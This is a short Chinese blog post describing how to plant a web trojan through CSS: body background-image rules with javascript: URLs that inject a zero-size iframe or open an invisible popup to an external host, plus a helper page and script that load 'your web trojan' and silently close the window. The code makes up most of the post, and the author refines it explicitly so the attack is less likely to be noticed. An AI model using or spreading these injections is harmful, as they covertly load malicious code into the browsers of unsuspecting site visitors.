欢迎光临散文网 会员登陆 & 注册

真正能用,还有点效果的CSS挂马代码的方法

2023-03-18 14:27 作者:梦江南阳  | 我要投稿

网上流行的: 
body
{  
background-image: url('javascript:document.write("<Iframe src=https://w ww.myhack58.com/test.htm width=0 height=0></iframe>")') 

//此方法会使主页不正常.返回一片空白. 
用弹窗. 
body
{  
background-image: url('javascript:open("https://www.myhack58.com/test.htm")') 

//弹出一个框.难看 易被发现. 
改进一下:

body
{  
background-image: url(javascript:open('https://www.myhack58.com/test.htm','newwindow','height=0, width=0, top=1000, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')) 

test.htm里面的代码,a.js为你的网 马,弹出一个不可见的窗口,并在5秒自动后关闭没提示: 
<script src="a.js"></script> 
<script> 
window.opener=null;setTimeout("window.close();",5000); 
</script>  
a.js内容: 
document.write('<Iframe src="https://www.myhack58.com/calc.htm"></iframe>');  
请指教.


真正能用,还有点效果的CSS挂马代码的方法的评论 (共 条)

分享到微博请遵守国家法律